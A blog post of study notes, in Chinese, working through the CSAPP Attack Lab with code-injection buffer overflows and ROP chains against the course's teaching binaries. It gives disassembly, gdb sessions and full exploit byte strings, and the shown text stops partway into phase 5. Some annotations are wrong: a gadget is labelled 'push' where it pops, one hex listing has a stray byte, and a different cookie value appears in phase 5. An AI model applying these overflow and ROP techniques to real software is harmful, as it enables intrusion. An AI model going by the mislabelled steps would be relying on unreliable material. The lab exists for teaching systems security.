
首页

归档

关于
CSAPP Attack Lab

CSAPP Attack Lab

文章目录

  1. 1. phase1
  2. 2. phase2
  3. 3. phase3
  4. 4. phase4
  5. 5. phase5
  6. 6. Conclusion
z0z0r4
z0z0r4
文章
14
分类
14
标签
12

首页

归档

关于
2026-03-28 2026-03-28
study-notesCSCSAPP

这是 CSAPP LaB 记录的第三弹,两天完成 Attack Lab。

封面取自 https://t.me/addstickers/chibi_goomba

也是隔了一个月才开 Attack Lab,太懒了…

资料见 https://csapp.cs.cmu.edu/3e/labs.html 里的 https://csapp.cs.cmu.edu/3e/attacklab.pdf,下载地址 https://csapp.cs.cmu.edu/3e/target1.tar

参考过 https://www.wdxtub.com/blog/csapp/thick-csapp-lab-3

所有的注入都源于这个 getbuf 函数:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

翻译成 C 代码:

1
2
3
4
5
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

test 函数调用了 getbuf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop
401992: 90 nop
401993: 90 nop
401994: 90 nop
401995: 90 nop
401996: 90 nop
401997: 90 nop
401998: 90 nop
401999: 90 nop
40199a: 90 nop
40199b: 90 nop
40199c: 90 nop
40199d: 90 nop
40199e: 90 nop
40199f: 90 nop
1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

phase1

需要找到 touch1 函数的地址,并让 getbuf 的 ret 指令指向它。根据 gdb 调试:

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
1
2
3
4
5
6
7
void touch1()
{
vlevel=1; /* Partofvalidationprotocol */
printf("Touch1!:Youcalledtouch1()\n");
validate(1);
exit(0);
}

写入以下到 exploit.txt:

1
2
3
4
5
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 // ret 指向 touch1 的地址

PASS!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
❯ gdb --args ./ctarget -q
GNU gdb (Debian 16.3-1) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
--Type <RET> for more, q to quit, c to continue without paging--

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) b *0x4017bd
Breakpoint 2 at 0x4017bd: file buf.c, line 16.
(gdb) run -q < exploit-raw.txt
Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q < exploit-raw.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
warning: 12 buf.c: No such file or directory
(gdb) x/4gx $rsp
0x5561dca0: 0x0000000000401976 0x0000000000000009
0x5561dcb0: 0x0000000000401f24 0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017bd in getbuf () at buf.c:16
16 in buf.c
(gdb) x/4gx $rsp
0x5561dca0: 0x00000000004017c0 0x0000000000000009
0x5561dcb0: 0x0000000000401f24 0x0000000000000000
(gdb) c
Continuing.
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00
[Inferior 1 (process 31357) exited normally]

可以看到 0x5561dca0 之前是 0x0000000000401976,现在变成了 0x00000000004017c0,成功让 ret 跳转到了 touch1。

phase2

既然要调用 touch2 函数,需要知道 touch2 的地址,以及 getbuf 函数中缓冲区的地址(给 ret 指令用)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

得到 touch2 的地址是 0x4017ec。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ gdb --args ./ctarget -q
GNU gdb (Debian 16.3-1) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
--Type <RET> for more, q to quit, c to continue without paging--c

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ctarget...
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r
Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
warning: 14 buf.c: No such file or directory
(gdb) info reg rsp
rsp 0x5561dc78 0x5561dc78

得到缓冲区的地址是 0x5561dc78。

编写注入代码:

1
2
3
movq $0x59b997fa, %rdi    # 将 cookie 存入第一个参数寄存器
pushq $0x4017ec # 将 touch2 的起始地址压入栈中
ret # 执行 ret 指令,CPU 会跳转到栈顶的 touch2 地址

编译 asm文件:

1
2
3
❯ gcc -c solve2.s
solve2.s: Assembler messages:
solve2.s: Warning: end of file in comment; newline inserted

获取机器码:48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

1
2
3
4
5
6
7
8
9
10
11
❯ objdump -d solve2.o

solve2.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

写入以下到 exploit.txt(记得删掉注释):

1
2
3
4
5
6
7
8
9
10
// 调用 touch2
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3

// 填充 40 - 13 = 27 字节
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

78 dc 61 55 00 00 00 00 // ret 指向机器码

PASS!

1
2
3
4
5
6
7
8
9
❯ cat exploit.txt | ./hex2raw |  ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

phase3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff call 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret

00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval))
{
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else
{
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

需要和 level2 一样利用缓冲区溢出注入代码调用 touch3,touch3 还会调用 hexmatch,将传入 touch3 的第一个参数作为 hexmatch 的第二个参数传入(hexmatch 的第一个参数是程序里面存着的 cookie 值 0x59b997fa)。hexmatch 调用 strncmp 比较前 9 个字节是否相等(因为还有 \0 一字节作为结束符),只有完全匹配才会返回 1,否则返回 0。

其中可以发现 hexmatch 申请了 128 字节的栈空间 add $0xffffffffffffff80, %rsp,然后生成一个随机偏移量获得一个栈空间内的地址,调用 sprintf 将第一个参数以十六进制字符串的形式写入这个地址,最后和 touch3 传入的参数进行比较。

由于栈帧是由高地址往低地址生长的,地址由高到低内存分布是(注入前):

  • test
  • getbuf 0x28 bytes

而注入时,getbuf ret 之前将栈帧释放了,所以 hexmatch 申请的栈空间是在 test 之后,但是覆盖在 getbuf 的栈空间上的:

  • test
  • hexmatch 0x80 bytes

sprintf 随机写入 9 字节的数据有可能抽中原来的 getbuf 栈空间覆盖掉,各种 push 也会修改 getbuf 栈空间的内容,所以只能将 cookie 存储在 test 的栈帧里面。

可以直接接在 touch3 的跳转地址后面就是 test 的栈帧了:

如何计算 cookie 的地址:getbuf 的栈顶地址是 0x5561dc78,getbuf 申请了 0x28 字节的栈空间,还有 0x8 的返回地址,所以 getbuf 栈帧的底部是 0x5561dc78 + 0x28 + 0x8 = 0x5561dca8。

1
2
3
movq $0x5561dca8, %rdi    # 这里的地址指向 cookie 存储的位置,test 的栈帧
pushq $0x4018fa # touch3 的入口地址
ret

objdump 获取机器码:

1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret

仿照 level2 构造缓冲区:

1
2
3
4
5
6
7
8
9
10
11
// 调用 touch3
48 c7 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

// 填充 40 - 13 = 27 字节
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

78 dc 61 55 00 00 00 00 // ret 指向机器码

35 39 62 39 39 37 66 61 00 // 0x59b997fa 的 ASCII 表示,注意末尾的 \0

删掉注释写入 exploit.txt,PASS!

1
2
3
4
5
6
7
8
9
❯ cat exploit.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

phase4

phase4 要用 ROP 的方式完成 level2。

rtarget 相比 ctarget 多了这些 fram:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184

0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret

000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 ret

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 ret

00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 ret

00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 ret

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret

00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 ret

00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret

00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 ret

00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 ret

00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 ret

00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 ret

00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 ret

0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret

0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 ret

0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret

0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 ret

0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 ret

0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 ret

0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 ret

0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret

0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 ret

0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 ret

0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 ret

0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 ret

0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 ret

0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 ret

0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 ret

0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 ret

0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 ret

0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 ret

0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 ret

0000000000401a83 <addval_358>:
401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
401a89: c3 ret

0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 ret

0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 ret

0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 ret

0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 ret

0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 ret

0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 ret

0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 ret
401ab8: 90 nop
401ab9: 90 nop
401aba: 90 nop
401abb: 90 nop
401abc: 90 nop
401abd: 90 nop
401abe: 90 nop
401abf: 90 nop

一开始想直接 push %rdi; ret 跳转到 touch2,但是 fram 里没有 5f c3,只能 push %rax; ret,然后 movq %rax, %rdi; ret,所以需要两个 gadget。

90 是 nop 指令,可以用来填充。

push %rdi; ret 是 58 c3,movq %rax, %rdi; ret 是 48 89 c7 c3。

找到:

1
2
3
4
5
6
7
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

所以答案是:

1
2
3
4
5
6
7
8
9
10
11
12
13
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // padding

ab 19 40 00 00 00 00 00 // push %rdi; ret

fa 97 b9 59 00 00 00 00 // 0x59b997fa 的 ASCII 表示,注意末尾的 \0

c5 19 40 00 00 00 00 00 // movq %rax, %rdi; ret

ec 17 40 00 00 00 00 00 // touch2 的入口地址

注意,写进栈里面应该是这样的(按照箭头的顺序从低地址向高地址执行):

1
2
3
4
5
ec 17 40 00 00 00 00 00 / \
c5 19 40 00 00 00 00 00 |
fa 97 b9 59 00 00 00 00 |
ab 19 40 00 00 00 00 00 |
padding |

我觉得很容易混淆,要注意在 getbuf ret 之前,0x28 缓冲区就已经被释放了,栈顶在 ab 19 40 00 00 00 00 00 // push %rdi; ret 这一行,ret 的时候又弹出该行,来到 fa 97 b9 59 00 00 00 00 // 0x59b997fa 的 ASCII 表示,然后 push %rdi; ret 将 0x59b997fa 压入栈顶,接着 movq %rax, %rdi; ret 将 0x59b997fa 传入 touch2,最后跳转到 touch2 的入口地址。

PASS!

1
2
3
4
5
6
7
8
9
❯ cat exploit.txt| ./hex2raw|  ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

phase5

和 phase3 一样要传入 cookie,调用 touch3,但是要用 ROP 的方式。

先转为 ASCII 0x45374fee -> 34 35 33 37 34 66 65 65

lea (%rdi,%rsi,1),%rax -> 48 8d 04 37 c3,%rax = %rdi + %rsi

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

popq %rax; ret -> 58 c3

1
2
3
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret

首先我们需要得到 cookie 的位置:cookie_addr = %rsp + offset,这个要利用 lea (%rdi,%rsi,1),%rax,所以需要先将 %rsp 和 offset 分别传入 %rdi 和 %rsi。


要将 %rsp 传入 %rdi,试着查找以下的 movq S, D 指令:

Source SDest. D%rax%rcx%rdx%rbx%rsp%rbp%rsi%rdi%rax48 89 c048 89 c148 89 c248 89 c348 89 c448 89 c548 89 c648 89 c7%rcx48 89 c848 89 c948 89 ca48 89 cb48 89 cc48 89 cd48 89 ce48 89 cf%rdx48 89 d048 89 d148 89 d248 89 d348 89 d448 89 d548 89 d648 89 d7%rbx48 89 d848 89 d948 89 da48 89 db48 89 dc48 89 dd48 89 de48 89 df%rsp48 89 e048 89 e148 89 e248 89 e348 89 e448 89 e548 89 e648 89 e7%rbp48 89 e848 89 e948 89 ea48 89 eb48 89 ec48 89 ed48 89 ee48 89 ef%rsi48 89 f048 89 f148 89 f248 89 f348 89 f448 89 f548 89 f648 89 f7%rdi48 89 f848 89 f948 89 fa48 89 fb48 89 fc48 89 fd48 89 fe48 89 ff\begin{array}{l|llllllll} \text{Source } S & \text{Dest. } D & & & & & & & \\ \hline & \%rax & \%rcx & \%rdx & \%rbx & \%rsp & \%rbp & \%rsi & \%rdi \\ \hline \%rax & 48\ 89\ c0 & 48\ 89\ c1 & 48\ 89\ c2 & 48\ 89\ c3 & 48\ 89\ c4 & 48\ 89\ c5 & 48\ 89\ c6 & 48\ 89\ c7 \\ \%rcx & 48\ 89\ c8 & 48\ 89\ c9 & 48\ 89\ ca & 48\ 89\ cb & 48\ 89\ cc & 48\ 89\ cd & 48\ 89\ ce & 48\ 89\ cf \\ \%rdx & 48\ 89\ d0 & 48\ 89\ d1 & 48\ 89\ d2 & 48\ 89\ d3 & 48\ 89\ d4 & 48\ 89\ d5 & 48\ 89\ d6 & 48\ 89\ d7 \\ \%rbx & 48\ 89\ d8 & 48\ 89\ d9 & 48\ 89\ da & 48\ 89\ db & 48\ 89\ dc & 48\ 89\ dd & 48\ 89\ de & 48\ 89\ df \\ \%rsp & 48\ 89\ e0 & 48\ 89\ e1 & 48\ 89\ e2 & 48\ 89\ e3 & 48\ 89\ e4 & 48\ 89\ e5 & 48\ 89\ e6 & 48\ 89\ e7 \\ \%rbp & 48\ 89\ e8 & 48\ 89\ e9 & 48\ 89\ ea & 48\ 89\ eb & 48\ 89\ ec & 48\ 89\ ed & 48\ 89\ ee & 48\ 89\ ef \\ \%rsi & 48\ 89\ f0 & 